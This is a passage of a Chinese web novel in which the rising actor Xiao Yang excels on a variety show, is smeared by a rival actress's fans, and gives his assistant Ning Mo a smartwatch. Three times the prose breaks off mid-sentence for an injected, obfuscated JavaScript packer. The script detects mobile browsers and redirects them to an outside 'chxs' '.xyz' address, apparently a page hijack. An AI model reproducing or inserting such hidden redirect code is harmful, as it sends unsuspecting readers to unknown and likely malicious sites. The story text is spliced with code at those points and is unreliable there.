一曲终了，所有主演再次在主持人的介绍下亮相，萧扬站在人群最外侧，但现场不少观众的视线始终聚焦在他身上。 主持人先是介绍了《风暴降临》的内容，给大家放了预告片，又让几位主演依次介绍自己的角色，每次轮到萧扬时，观众的掌声都会格外热情些。 乔娜娜察觉到现场萧扬的人气竟然不低，脸色更难看了。 自我介绍结束，综艺开始进入游戏环节，几个人按照角色分成两组，乔娜娜和萧扬都分在二组。 乔娜娜却突然拿着麦克风，撒娇般看向海文成：“可是我很想和文成哥一组诶，我可以加入你们组吗？” 海文成和周杉都是一怔，主持人笑着打圆场：“可是娜娜，你在剧里的CP还在第二组等你哦~” “就是要多和不同的人尝试才会有火花呀，”乔娜娜笑着回答，“我真的很想和文成哥一组，剧里都没有和互动，剧外就给我这个机会吧，拜托拜托~” 主持人呵呵笑了两下，有点尴尬，低头看了眼台本。 其他几位演员也都诧异地望着乔娜娜，但她本人完全没有一点让位的意思，反而去问和海文成身边站着的男演员：“白梵哥哥，我们换换吧~” 白梵愣了一下，脸色顿时红了：“啊？……哦，好吧……” 乔娜娜立刻拿起他手里的粉色队服，凑到海文成身边：“太好了！” 主持人：“……” 无奈之下，白梵和乔娜娜换了组，站到了萧扬身边。 “搞什么，这种时候还不按台本来，”宋依依气呼呼的，“明明应该和萧扬哥一组的，她这样不就是明面上告诉别人她看不上萧扬哥，不想和他一组吗？” “没关系，”宁茉安抚般拍了拍宋依依的胳膊，“不和她一组也好，不然还不知道要有多少麻烦呢。” 说着，宁茉又看向脸色不太好看的周杉，这部剧周杉和海文成是女主和男主，也是当之无愧的宣传中心，乔娜娜想挤到中心圈，也要看周杉这个中心愿不愿意给她让出空间。 分组后，大家换上各自队伍的衣服开始游戏环节，第一个游戏就是快问快答，问题涉及各个领域，包罗万象，很难回答。 海文成组里得分最多的就是海文成，他本身阅历广，平时也爱看一些稀奇古怪的东西，相较之下，另一组男二号带头的队伍优势就没有那么大了，接连几个人答题都失败，分数很快就落后海文成组一大截。 直到最后一位选手萧扬上场，组里的众人都已经不抱希望，只能喊着要萧扬起码答对三道题，把比分拉回来一点。 萧扬面色沉稳，站到了答题台上，目光却看向台下。 台下的观众们立刻开始欢呼，然而宁茉却愣了一下：萧扬的视线中心分明是她。 ……萧扬紧张了？ 宁茉举了举手中的荧光棒，朝着萧扬小幅度地挥了挥，做了个“加油”的口型。 萧扬眉眼一亮，眼底突然涌出笑意，朝着她无声的笑了。 现场的观众开始沸腾，萧扬整晚都在保持人设，永远是一副高冷的表情，除了开场舞几乎没什么笑过，此刻他在镜头里笑的张扬明媚，眉目含情，是和之前截然不同的反差形象。 “啊！！好帅！！” “萧扬！！！！” 现场的氛围热烈起来，甚至有不少别家的粉丝都也在跟着喊萧扬的名字。 “准备答题！”随着主持人的口令，题目出现在倒计时五秒的题板上。 “世界上最大的动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913354|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物是？” 萧扬眼也不眨地回道：“蓝鲸。” 主持人：“哪种化学元素是最常用的电池材料之一？” 萧扬还没等他问完就已经回答：“锂。” 主持人：“太阳系中最大的行星是哪一颗？” 萧扬：“木星。” “哇哦~”主持人赞叹道，“已经连答对三道题了，厉害！” 男二号看着萧扬的神情满是惊讶，组里的其他几个人也开始激动，白梵更是已经在旁边星星眼的鼓掌：“萧扬哥厉害啊！” “那我继续问喽，”主持人笑道，“哪种生物是地球上最古老的生命形式？” “……蓝藻。” …… 萧扬的语气波澜不惊，却总能最快的给出正确答案，短短一分钟的时间，已经连着答对了五道题。 连宁茉都快要怀疑他是不是早就知道题目，不过当然，她比谁都清楚，这个节目里最不被节目组重视、也最不可能见过台本的就是萧扬。 另一组的人也惊呆了，周杉直接笑道：“怎么这么厉害啊！早知道应该让你来我们组的~” 她这句话话里话外含了些嘲笑的意思，乔娜娜刚才答了半天的题，一道都没答对，甚至有些常识性的问题都答不上来，没能给他们组做出一点贡献。 就连被乔娜娜换走的白梵也答对了三道题，这就更显得她无用了。 乔娜娜自然也听懂了周杉的言外之意，脸色瞬间涨得通红，质疑地看向萧扬：“你怎么都知道啊？你不会是提前看题了吧？” 这话一出，现场瞬间有些冷场，连主持人都忍不住瞪了她一眼。 台下的乔娜娜粉丝却坐不住了，她们早就听说昨晚彩排的时候乔娜娜和萧扬发生了一些争执，虽然具体情况没有人对外说，但乔娜娜当晚就在微博委屈地发了张眼圈通红的自拍，气得她的粉丝都在问是谁欺负了她。 再从刚才开场舞两个人根本不互动、乔娜娜又执意要换组的场景，傻子也能知道他们两个绝对有矛盾。 有几个乔娜娜的粉丝带头问道：“不公平，他有台本！” “是啊！这一看就提前看题了，不然怎么可能一道都没答错！” “搞什么啊，针对我们家娜娜吗？给她的题就那么难，给萧扬的都简单！” 现场的声音很大，台上自然也听到了，萧扬朝台下看了一眼，却没看向那些义愤填膺的粉丝，而是看向自家的两个助理。 宋依依一脸愤怒，就差站起来掐着腰和他们吵架了，而宁茉则是担心的望着自己，无声地做了个口型：“别生气。” 萧扬对着她点点头，随后看向主持人：“这些题太简单了，我们换一些有挑战性的吧。” “……”主持人正在联系场控，蓦然听到萧扬的话，立刻转头看他，“那能接受我们换题库吗？” 萧扬点了点头：“可以。” “好，”主持人看向大屏幕，“那我们就切备用题库，提前告知大家，备用题库里面有一千道题，涵盖各个领域，而且是系统随机出题，不存在人为控制的可能性。” 他将这些说得很清楚，既是说给粉丝听，也是说给镜头听：“那么，我们接下来会从备用题库里出十道题，请做好准备。” 台上所有人都望着萧扬，海文成的视线里带了些担忧，萧扬毕竟是个新人，此刻突然换题，而且难度加倍，一旦他答不上来，将会很难收场。 周杉笑着做了铺垫：“这备用题库也太难了吧？刚才演示的时候我看到那几道题都好难啊，根本就答不出来！” 白梵也点头：“是啊是啊，怎么到了我们萧扬哥这里难度上升这么高啊。” 主持人笑道：“那这样吧，你们的题每道题2倍积分，好不好？” “……这还差不多，”白梵挠挠头，又看向萧扬，握了握拳，“兄弟，加油！靠你了！” 萧扬：“……” 台下的宋依依捂了捂眼睛：“这白梵是什么傻白甜，他看不出来台上气氛紧张到都要打起来了吗？” 连宁茉也被逗笑了：“之前没发现他竟然是这种性格，不过……不用担心，我相信萧扬，他不是一个冲动的人，既然他敢提出这个建议，那他就有把握。” 宋依依双手合十许愿：“拜托拜托，起码要能答对三道啊！狠狠的打乔娜娜的脸！” 主持人示意萧扬：“可以开始了吗？” 萧扬的目光再次看向台下，对上那双认真又明亮的眼眸后，转回了题板，点头道：“开始吧。” 53. 第 53 章 屏幕开始随机出现题目，很快，第一道题就出来了。 “请问元素周期表中，哪个元素的原子序数是79？” 台上的众人同时瞪大了双眼：“？？？” 台下的宋依依也倒吸一口凉气：“这是什么题啊？” 宁茉也愣住了：“这……好冷门的题。” 她看向萧扬，对方皱眉想了一会儿，在主持人的倒计时最后一秒时开口：“……金。” “答对了！”主持人满眼惊喜，“请继续。” “相对论的关键方程式（E=mc?）中，c代表什么？” 众人：“……” 就连台下的观众都一片唏嘘。 “不是……这是什么题库啊？这也太难了吧？！” “这是明星该有的知识体系吗？是不是太高看他们了……” “我的天，连相对论都出来了，这道题萧扬总不会还能答了吧？” 台上，萧扬沉默了几秒，开口道：“是光速。” “答对了！”主持人脸上的惊讶毫不掩饰，“下一道题，金字塔文化属于哪个地区？” 萧扬冷静答道：“中美洲，玛雅文明。” “《史记》有多少卷？” “130卷。” “……” 现场的氛围越来越热烈，无数人屏住呼吸望着萧扬，生怕打扰到他答题，萧扬的速度很快，即使有些题目他不会，也能很快猜出相近答案，二组的积分水涨船高，几乎是迅速就和一组拉平。 录制现场越来越安静，几乎只能听到屏幕切换的滴滴声和萧扬掷地有声的答题声，他声线低沉又富有磁性，答题时从不迟疑，带着令人安心的力量感，敲中现场每个人的心弦。 在倒计时结束前的最后十秒内，萧扬望着屏幕上的题半天没有说话，直到倒计时结束，才说出了答案。 “最后一题无效，前面的所有总分加起来是……19分！！天哪，和一组仅差一分，要是刚才答的再快一点这次就赢了！” 主持人激动的喊道：“恭喜一组获胜！” 台下瞬间爆发出热烈的掌声。 “萧扬！！萧扬！！” “萧扬好棒啊！！！” “虽然输了，但是萧扬你好帅！！！！” 台上两个组也同时开始欢呼，一组庆祝自己的胜利，二组则围着萧扬激动。 “太棒了萧扬！把比分拉回来了！” “天啊萧扬哥！你是我的偶像，你怎么这么厉害！”白梵激动朝他展开双臂，“太帅了吧你！” 萧扬不动声色地拉远了和他的距离：“可惜还是输了。” “不可惜不可惜，已经很厉害了！” 白梵大力点头：“是啊！那么难的题你都答了那么多，二组的分全是靠你带上来的！” 第一轮游戏结束，进入中场休息时间，明星们开始补妆，周杉笑着走到萧扬身边：“萧扬，厉害呀~” 萧扬立刻起身：“周杉姐。” 周杉冲他眨眨眼：“答题厉害，算分也厉害。” “……没有，”萧扬低声道，“最后一道题确实想不起来了。” 周杉了然地点头，没有戳破他，又问道：“对了，我听说你昨天彩排的时候……” 后面的话她没有说出来，萧扬已经领会，点头道：“是和她有些误会，已经解释过了。” 周杉挑眉：“是吗？但是今天看起来完全没有和好啊。” “……”萧扬垂眸，“抱歉，给你们添麻烦了。” 周杉摇摇头：“不该是你道歉，耽误宣传的另有其人。” 她的目光看向不远处皱着眉补妆的乔娜娜，眼底冷了下来：“《风暴降临》这部剧对我和文成都很重要，现在是关键时期，不能出任何岔子，如果有人因为一己私利影响了这部剧，我周杉第一个不答应。” …… 中场休息结束，所有人开始第二轮游戏，这一轮游戏是极速障碍赛，考验反应能力和体力，两组要进行对抗式比赛，中间还需要接力完成一些小任务，最后用时最短的一组获胜。 海文成和周杉两个人常年健身，玩成这样的游戏根本就不在话下，迅速又完美的完成了第一组挑战。 和他们同时上场的是白梵和一位女明星，白梵背着女明星过障碍桥时没站稳，差点连带着女明星一起摔下来，后来又重新走了一遍，时间上慢了对方二十多秒。 “糟了糟了，这下肯定输了，”宋依依在台下垂头丧气的，“差了二十秒，根本就追不回来，连输两局，这也太惨了吧。” 宁茉捏紧了手指，望向台上还在热身准备的萧扬。 二十多秒，想要把这个时间追回来绝非易事，她其实不担心萧扬能不能完成，她担心的是萧扬太过努力可能会伤到自己，刚才白梵过障碍桥的时候她看得很清楚，那座桥基底搭的并不稳，很容易摔倒。 努力，但也别太拼命了啊萧扬，宁茉闭上眼默默祈祷。 “下一个是萧扬！”随着主持人的一声令下，宁茉睁开眼，看到的就是萧扬如弹簧般冲出去的声音。 他的身形矫健又敏捷，速度快到不可思议，短短几秒钟就已经通过了两个关卡，现场观众全部看呆了。 “卧槽，他怎么这么快？！” “这是什么特种兵，那个旋转滚筒他竟然是从中间直接飞过去的！” “啊啊啊好帅啊！十秒钟就已经把前面的关卡全部通关了，他不会还能把时间追上来吧！” 萧扬跑到障碍桥时，同组的女孩子正紧张的望着他：“你一定要稳一点啊！” “放心，上来吧。”萧扬蹲在她身前，女孩子立刻趴到他背上，萧扬非常轻松的站了起来，神情甚至没有一丝变化，仿佛背后背的是个没什么重量的棉花娃娃。 “哇哦！萧扬这个男友力也太强了吧~”主持人忍不住起哄，“看起来好轻松哦！” 萧扬大步跨上了障碍桥，台下的宁茉同时屏住呼吸，睁大眼望着他的动作。 萧扬并没有像前面的人那样面对着终点往前走，而是侧过身，横着走在障碍桥上，速度并不快，却走得很稳。 宁茉一怔，随后立即理解了他的意图：障碍桥不稳，人站上去会左右晃动，而萧扬这样横着走就消解了左右摇摆时的阻力，变成了上下晃动，相对没那么容易失衡。 但这样一来，对他的核心和平衡性要求又极高，是对体力的极大消耗。 萧扬的额头浸出细汗，抱着女孩子的手臂却稳稳当当，给人以十足的安全感。 女孩子忍不住开口：“没关系的，慢一点也可以，或者你放我下来休息一会儿吧。” “不用担心，”萧扬低声开口，动作却没有丝毫减速，“我们会赢的。” 全场的观众都十分紧张地望着他们两个，一旁的计时器显示他们和第一组的总用时就差十五秒了，而萧扬这边还有一个关卡没过。 “唉，看来是输了。” “天呀，萧扬太不容易了，已经在尽力追平了……” “萧扬加油！” “萧扬加油！！！” 台下喊着萧扬加油的声音越来越大，萧扬从障碍桥上下来，轻轻放下女孩子，抬眼看了一眼台下。 宁茉咬着嘴唇、一脸紧张地望着他，满眼都是担忧。 萧扬朝着台下笑了，随后在观众的尖叫声中，直直的冲向了最后一个关卡。 这里要通过悬挂绳索，几乎全靠手臂和腰腹的力量，所有嘉宾由于在前面的关卡中已经耗费了很多体力，走到最后一个关卡时，用时都会比较久，海文成这样常年健身的人在过这个悬挂绳索时也用了二十多秒。 而萧扬如果想赢，就必须在十秒内完成这个悬挂绳索。 他丝毫没有犹豫，在跳板上轻轻一跃，迅速抓住了第一根绳索，随后腰腹用力、借着惯性向前一甩，直接隔过第二根绳索，稳稳抓住了第三根绳索！ “哇！！！” “我的天哪，他好帅啊！” “啊啊啊萧扬加油！！！” 台下的宋依依已经激动到快站起来了：“萧扬哥加油加油加油！！！” 萧扬目光坚定，全神贯注地望着面前的绳索，每一次前移都算好了角度和时机，精准地抓住绳索，没有过一次失误。 倒计时来到最后五秒。 “五！” “四！” 全场的观众开始一起倒数。 “三！” 萧扬加快速度，大力向前一荡，抓住了倒数第三根绳索。 “二！” 萧扬手臂青筋暴起，深吸一口气，全力向前狠狠一跃，猛地抓住最后一根绳索！ “一！” 在观众的欢呼声中，他稳稳地落到了垫子上，追平了时间差。 “赢了！！！” “萧扬！！萧扬！！！” 全场都在欢呼萧扬的名字，而萧扬本人正坐在垫子上，似是有些脱力，汗水浸透了额前的碎发，转头望向台下。 宁茉正在和宋依依拥抱庆祝，两个人脸上都是激动和喜悦。 不管这个综艺最后如何剪辑，萧扬刚才的高光时刻一定会被保留下来的。 “太争气了太牛了！”宋依依激动的抓着宁茉的手乱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918837|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晃，“光这一个节目就圈了很多粉了！” 她们都注意到现场有不少观众已经把讨论的焦点从几位主演挪到了萧扬身上，只因他表现实在太过出众，而且有一张帅得毫无争议的脸。 台上，海文成走到萧扬身边，朝他伸出手：“表现的很好。” 萧扬握住他的手，站了起来：“谢谢。” 这一幕也被摄像机捕捉到了，两个人相视一笑，在镜头里看起来竟分外的和谐养眼。 之后的几个游戏环节，萧扬也表现得十分出众，不过总体分算下来，还是第一组分高，就成了最大的赢家。 节目最后的惩罚是要输的人在非常欢乐喜庆的音乐中讲土味情话，同时要保证面部表情不能崩坏，这个挑战惹得现场不少观众哈哈大笑，尤其是白梵，根本就憋不住笑，重复了十次都没能过关，最后脸上的表情已经变成了苦笑。 主要的环节全部结束，综艺开始进入闲聊时间，主持人让大家讲述拍戏时的一些趣事。 一直没怎么机会表现的乔娜娜突然主动抢过了麦克风：“我要说一件让我印象深刻的事情。” “啊啊啊又开始了她又开始了！”宋依依狠狠揍了脚边的背包两拳，“这个女人怎么不消停啊！” “哦？我们娜娜要说什么？”主持人笑着问他。 “我记得《风暴降临》有一场体育场的戏份，我当时是去补拍的，画了好几个小时的特效妆，但是拍完的时候基本都脱妆了，看着特别惨不忍睹，哈哈~” “哦？”主持人笑了，“是拍的特别久吗？” “不是，是一直在等萧扬过来拍戏，”乔娜娜笑的很甜，说的话却让台上几个人一愣，同时转头看向她。 “他前面的那一段拍的时间很久，所以我们就一直在等。” 这话一出，台下乔娜娜的粉丝顿时又开始不满。 “难怪那天娜娜拍到半夜！原来是萧扬在拖进度啊，一个人拖整个剧组也太过分了吧！” “看不出来他是这种人！” “娜娜说话太委婉了吧，什么他拍的久，不就是整个剧组等萧扬一个人吗？” “你们胡说八道什么啊！”宋依依忍无可忍，腾的站起来看向乔娜娜的粉丝区，“谁拖进度了！明明是乔娜娜她自己不愿意化妆，要不是她，那天早就收工了！” “你说什么！”粉丝立刻愤怒起来，“你是谁啊？你说话有证据吗？” “你就是萧扬的助理吧，难怪帮着他说话，欺负我们娜娜一个女孩子算什么本事！” “依依！”宁茉一把拉住她，强行将她按回座位上，“别说了。” 宋依依气的眼都红了：“谁欺负乔娜娜了？明明是她嫌特效妆不好看非要找替身，怎么还能颠倒黑白，说是我们萧扬哥的错啊！” “好了好了，”宁茉拉住她的手，“别着急，不止你知道真相，台上的人也都知道。” …… 乔娜娜还想说什么，周杉已经直接举起话筒：“哦？是你画的特效妆吗？我怎么记得现场好像是替身啊？” “……”乔娜娜脸色顿时一白，“后面拍的时间太长了嘛，就也用了替身。” “那天的情况我还记得，”海文成也开口，“萧扬拍体育场的打戏，受了伤，后面一直都是带伤拍摄，很不容易。” “是呀是呀，”白梵也插嘴道，“虽然后面补拍我没去，但是我看了剧组的图片，他手上全是血，看起来伤的很严重。” “不严重，小伤，”萧扬接话道，“是稍微耽误了一点进度，我的问题。” 周杉摇摇头：“跟你没有关系，绝对不是你的问题。” 主持人也笑道：“萧扬，你带伤拍摄还那么拼，辛苦你了。” 萧扬语气沉稳：“不辛苦，只要最后能呈现出好的效果，我的伤并不算什么。” 乔娜娜：“……” 她插不上话，脸色十分不好看，却也没办法再说什么。 看见男女主演都这么说，粉丝们顿时也无话可说，宋依依起身叉腰望向他们，一脸得意：“怎么没声啦？~” 宁茉一边憋笑一边又把她拽回来：“好了好了，差不多行了。” “我就是要让他们知道到底是谁理亏！”宋依依愤愤不平，“还想往我们身上泼脏水？门都没有！” “好好好，没门，连窗户也没有，”宁茉安抚似的摸摸她的脑袋，“对了，当时萧扬受伤的照片你拍了没有？” 宋依依点点头：“拍了呀，浦哥当时赶不回来，着急要看他的情况，我就拍了个视频。” “你快找找，”宁茉看向台上，“说不定有用。” 54. 第 54 章 《快乐对对碰》的录制从下午持续到晚上，结束时已经是晚上十点了。 几位主演相约着去吃饭，萧扬则推辞掉饭局，带着工作室一些人找了家人气很高的火锅店。 几个人进了包间，同时开始说话。 宁茉：“今天的综艺环节设置实在是太难了，看得我提心吊胆的。” 浦世诚：“节目组搞什么？萧扬的排位排这么后面，我得让孙尚万跟节目组要个说法。” 宋依依：“那个乔娜娜也太过分了吧！明星怎么还能当成这样？” 乱七八糟的抱怨中，萧扬静止了几秒，随后没忍住笑了：“我们是来吃饭的，不是来开吐槽大会。” 浦世诚挥挥手：“算了算了，不说他们了，听说这家火锅店特别好吃，萧扬提前一天就让我预定了，大家随便点啊！” “谢谢萧扬哥！”宋依依欢乐地拿起菜单，“茉茉你吃不吃毛肚？吃羊肉吗？” 宁茉翻着手机，心不在焉：“都可以，你喜欢什么就点什么吧。” 萧扬的目光看向她：“在看什么？” “综艺刚录完，网上就有人爆料了。” 宁茉将手机界面展示给众人：“果然，我就知道乔娜娜的粉丝不会就此罢休。” 她从录制结束就留了个心眼，时不时的翻翻综艺相关关键词，很快就翻到了乔娜娜粉丝的吐槽，内容依旧不分青红皂白专注攻击萧扬。 有说他装高冷不和乔娜娜互动的，有说他游戏环节故意出风头的，还有说他在拍摄的时候因为个人原因耽误了整个组的进度，这些讨论热度都很高，顶在了话题前排。 前面两个谣言等节目播出时，自然会不攻自破，但最后一个…… 宁茉把从宋依依那里要来的视频发给了孙尚万，同时将吐槽帖发给了他。 孙尚万在舆论把控这一块一向很有经验，收到宁茉的消息，立刻就买了通稿发了出去。 很快，网上关于萧扬拍摄《风暴降临》时受伤这件事就有了新的讨论，网友看到视频后纷纷惊呼。 “天啊，怎么伤的这么严重！整个手上都是血……” “我的妈呀，伤成这样还能面不改色的翻墙，这位新人演员有点东西啊！” “该说不说，这个视频里的萧扬好帅啊，冷脸酷哥我的爱~” 宁茉看着网友们的讨论，笑容不自觉堆在脸上，连筷子都忘了拿。 “小助理——” 耳边突然传来低沉磁性的声音，宁茉一愣，转头就看到萧扬不知什么时候坐到了自己身边。 “也不要太敬业了，该吃饭的时候，还是要吃饭。” 萧扬一双眼睛满含笑意，用目光示意宁茉看看前面。 宁茉低头一看，自己的盘子里不知何时已经堆了满满一盘子的肉，而且还在随着萧扬的动作不断增多。 宁茉：“？！” “可以了，可以了！”宁茉慌忙阻止他，“够了够了，谢谢。” 萧扬这才放下筷子，视线却还没有从宁茉身上离开，她今天穿了一件淡紫色的羽绒服，里面是米白色的高领毛衣、浅灰色的长裤，整个人的气质看起来十分柔和，像一朵软蓬蓬的云。 宁茉似乎很爱黑色的衣服，这是她少见的浅色衣服，萧扬就总想多看几眼。 宁茉吃着吃着，耳朵开始发红，身旁人的视线存在感过于强烈，偏偏他本人毫无察觉。 “那个……”宁茉想打破这种尴尬的气氛，索性主动开口，看向萧扬低声问道，“你之后就没有活动了吧？” “嗯，”萧扬点点头，“之后就等着进组《如意环》了，下个月应该会先武训。” “《如意环》啊……”宁茉想了想，“是个好本子。” 这么一想又觉得很神奇，刚来萧扬工作室的时候，对接的就是《如意环》，当时宁茉还十分期待这部剧开拍时的样子，可没想到《风暴降临》凭空杀出来，硬生生占据了所有人一个月的时间。 而现在再去回想《风暴降临》，明明结束不过十天，却仿佛是很久之前的事情，就连……沾染了阑牧气息的萧扬，也似乎离她很远了。 萧扬也想到了《如意环》剧本围读会时的事情，忍不住失笑：“那个时候，你的脾气似乎比现在要好。” “？”宁茉抬眼看向他，眼睛微微睁大，“嗯？你是说……” “没有，现在的脾气也很好，”萧扬求生欲又突然上线，解释道，“只不过比那个时候……更懂得争取了。” 他意有所指，宁茉也立刻理解他说的内容：《欢乐对对碰》彩排时，自己和乔娜娜发生了冲突，那是自己第一次没有退让，毫不客气的去和对方理论、争辩，包括刚才那个发给孙尚万的视频，大概率也被萧扬看到了。 宁茉眨了眨眼：“……可能是，工作经验积累的多了吧。” 萧扬一本正经的点点头：“那看来你这两个月学到了很多东西。” 宁茉：“……” 一顿饭吃到了十二点，宋依依看了一眼手机：“没想到今年的最后一分钟，我是和你们一起过的。” “那么……”宁茉举起杯子，“元旦快乐喽。” 众人纷纷举杯：“元旦快乐！！” 宋依依笑眯眯问道：“萧扬哥，元旦也算是新年了，请问我们有新年红包吗？” 萧扬挑眉道：“没有。” “……”宋依依撇了撇嘴，“好无情哦。” 浦世诚大手一挥：“来来来，我给你们发，不就是红包吗，要多少有多少！” 说着，他一口气往工作室群里发了五六个红包，大家立刻都开始抢红包。 萧扬却起身出了门，十几分钟后才回来，手里多了一个黑色的袋子。 宁茉眼尖，一眼就看到了袋子上的品牌logo：“这是？” 宋依依立刻也看过来，眼睛瞬间就亮了：“萧扬哥，你拿的是什么？” 萧扬笑了：“红包是没有了，不过……有新年礼物。” 说着，他把袋子放到了桌上：“每个人都有。” “哇！！礼物！”宋依依欢呼着凑上来，“什么礼物什么礼物？” 宁茉晃了晃神，突然想到昨晚萧扬问自己的那个问题，所以他昨晚真的去买了礼物？ 萧扬从袋子里拿出一个盒子，递到了宁茉面前：“新年快乐。” “谢谢。”宁茉接过盒子，低头一看，竟然是个智能手表，而且是和手机同一个牌子的。 那手表包装盒背面写了它的功能，其中有很大的四个字吸引了宁茉的注意：睡眠监测。 “……”她看了眼萧扬，心跳突然漏了一拍。 “萧扬哥！你也太大方了吧，又送手机又送手表的，我将永远追随你！” 宋依依高兴的当场就拆了手表戴在了手腕上：“哇，还是粉色的，好漂亮啊！” 一边说她一边拿出手机，连着拍了好几张照片，又把这个好消息告诉了还没收到礼物的工作室其他人。 浦世诚也在研究萧扬送的礼物：“我竟然也有？看来是沾你们的光了。” “哪有哪有，浦哥你本来就该有的~你可是工作室的头号功臣！” …… 宁茉手里的那个手表是白色的，她拆开包装，研究了一下略显复杂的表带。 萧扬的动作比她更快：“我帮你戴。” “啊？不、不用……”一句拒绝还没说出口，萧扬已经接过手表，自然的低头帮她带上了。 他凑近时，眉眼便格外清晰地展现在宁茉面前，宁茉整个人都有些僵硬，挪开视线低下头看着手表，眼神都快将手表盯出一个洞来。 戴好了手表，萧扬托着她手腕的指尖没有挪开，而是像拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926812|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着个展示架一般，将宁茉的手腕上下翻了两下，点头满意道：“很漂亮。” 也不知道是在说宁茉的手腕，还是在说那个手表。 宁茉感觉整个手臂都发烫，立刻缩了回去，假装调整屏幕：“……我先把蓝牙连上。” 萧扬却比她还热情：“不需要自己设置，手表靠近手机，自己会感应的。” “……好。” 宁茉依言操作，立刻就绑定成功了。 萧扬指着她手机里跳出来的界面：“这里，可以打开睡眠监测。” “……哦，”宁茉看了看界面里的功能，余光察觉到萧扬正在紧紧盯着她，忍不住看回去。 “……你别这么盯着我，我会打开睡眠监测的。” 萧扬歪了歪头：“那就好。” “……”宁茉终于还是没忍住，“萧扬，你买这个手表不会就是为了……” 说到一半，她又自己停住了，这个问题实在是显得有些……自作多情。 “是啊。”萧扬坦然承认，一双漂亮的桃花眼直直看着宁茉，“为了看看我的小助理每天到底睡觉了没有。” …… 宁茉顿时怔住，捏着手机的指尖有些发白，脸色却一点点红了。 “你……” 她下意识看向不远处的两个人，宋依依还沉浸在收到礼物的快乐里，浦世诚也在埋头研究着手表的功能，并没有人注意到角落里她和萧扬的对话。 宁茉垂下眼眸：“……别乱开玩笑。” “没有开玩笑，”萧扬眼底的神情软下来，“睡不着的时候，这个手表可以播放白噪音，如果它检测到你快要睡着了，会自动停止播放的，不会吵到你。” “……”宁茉却有些紧张，目光再次看向宋依依和浦世诚，声音低了下去，“谢谢。” 萧扬皱了皱眉，察觉到宁茉兴致不高，似乎并没有因为他的礼物而开心。 “……你不喜欢吗？”萧扬忍不住问，“如果不喜欢手表，还有别的……” “不，没有，我很喜欢，”宁茉打断了他，“谢谢你的员工福利。” 萧扬：“……” 宁茉起身：“我去一趟卫生间。” 她快速离开包厢，萧扬望着她的背影呆了几秒。 浦世诚收好手表，随口道：“依依，你和宁茉这几天辛苦了，明天开始给大家放两天假，好好休息吧。” “好耶！谢谢浦哥！”宋依依小脸激动的通红。 “还有你，”浦世诚看向萧扬，“你也回去休息两天吧。” 看到萧扬神情的瞬间，浦世诚却突然一愣：“你怎么了？” 萧扬收回视线，神情瞬间平静：“……没什么。” …… 一顿饭吃完，众人一起回了酒店。 订的回程机票是第二天中午的，给大家留了充足的休息时间，宋依依洗漱完往床上一扑，刚沾到枕头就睡着了。 宁茉走到她床边帮她把被子掖好，关灯躺回了自己的床上。 她的手腕上还戴着那个手表，屏幕光自动调到了最暗的模式，但在漆黑一片的房间里依旧看得清楚。 宁茉盯着手表屏幕有些失神，直到屏幕的光自动熄灭，才堪堪回神，伸手将枕头下的手机摸了出来。 点开手表设置界面，她下划到睡眠监测一栏，犹豫了几秒，点击了关闭。 其实打不打开都没什么影响，她的睡眠并不会因为有了睡眠监测就变得更好。 她只是……不想那么直观的让萧扬看到她真实的睡眠情况。 她甚至希望萧扬不要再关注她，不要再管她，可刚才收到手表的时候，她明明又是很高兴的。 人怎么能矛盾成这样呢？宁茉无声地问自己。 这个问题注定得不到回答，她安静了许久，重重地叹了口气，闭上了眼睛。 55. 第 55 章 元旦第一天，萧扬工作室的门被人轻声推开。 宁茉抱着平板，打开灯，一路走到了自己的工位上。 她最近有很多事情要忙，工作室的事情、新的约稿、要学习的绘画课……虽然工作室放假了，但她还是停不下来。 而且在家里时，她不是窝在沙发上，就是躺在床上，待在这样舒适的地方，连一点奋斗的欲望都没有了。 思来想去，宁茉索性收拾了一下来了工作室，起码还有免费的水电可以蹭蹭。 还有猫可以撸——山山自从她开门就从窝里跳出来，慢腾腾走到了她脚边，扒着她的裤腿想往上爬。 “山山宝宝，两天没见，有没有想我呀？”宁茉一把抱起山山，放到了腿上。 山山却跳到她腿上，找了个舒适的姿势卧下来。 宁茉揉了揉山山的小脑袋，嘀咕了一声：“你是不是又胖了？我怎么感觉你变重了。” 回应她的是山山舒服的呼噜声，丝毫没有压在别人腿上的负疚感。 宁茉打开电脑，先处理了几封工作邮件，随后拿起平板，打开了绘画课程。 这是她最近新买的，是另一个圈里的画师太太推荐的课，价格不低，宁茉买的时候心疼了好一阵子，但好在收获也很多。 看着看着，宁茉听到大门处传来开门的声音，一怔，抬头看去，正和推开门的人对视了一眼。 